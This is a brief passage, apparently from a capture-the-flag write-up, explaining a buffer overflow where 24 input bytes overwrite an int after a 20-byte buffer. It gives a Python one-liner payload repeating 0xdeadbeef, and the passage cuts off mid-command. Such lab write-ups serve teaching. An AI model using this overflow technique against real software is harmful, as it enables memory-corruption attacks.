We’re given a buffer of 20 characters and an int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:
(python -c ‘print “\xef\xbe\xad\xde” * 6’; cat) |…